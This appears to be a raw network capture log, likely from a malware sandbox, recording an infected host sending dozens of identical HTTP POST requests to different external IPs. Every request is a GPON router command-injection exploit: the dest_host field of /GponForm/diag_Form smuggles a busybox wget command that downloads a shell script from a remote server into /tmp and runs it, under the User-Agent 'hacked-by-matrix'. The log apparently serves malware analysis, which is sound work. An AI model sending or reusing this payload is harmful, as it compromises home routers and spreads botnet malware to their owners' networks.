Mar 21, 2024 05:21:56.459764957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	41808	5.128.71.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459778070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	43002	42.125.124.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459780931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	59430	5.179.25.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459811926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	51572	109.186.196.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459814072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	35402	42.186.151.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459867001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	47074	42.222.119.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459888935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	47954	109.229.184.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459913015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	43222	212.98.73.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459947109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	43910	5.225.245.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459992886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	38192	109.184.110.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460011959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	35914	109.32.201.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460033894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	38812	5.101.184.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460042953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	40652	42.136.172.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460103989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	52030	118.155.45.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460156918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	37118	42.138.28.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460210085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	39220	118.47.172.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460220098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	46544	109.182.147.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460247993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	49390	42.133.108.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460266113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	42174	109.29.225.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.460316896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	48278	109.9.151.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468364954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	50374	5.97.200.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468432903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	36280	109.117.213.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468458891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	47722	5.193.84.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.468497992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	39866	212.221.94.168	443

Timestamp	Bytes transferred	Direction	Data
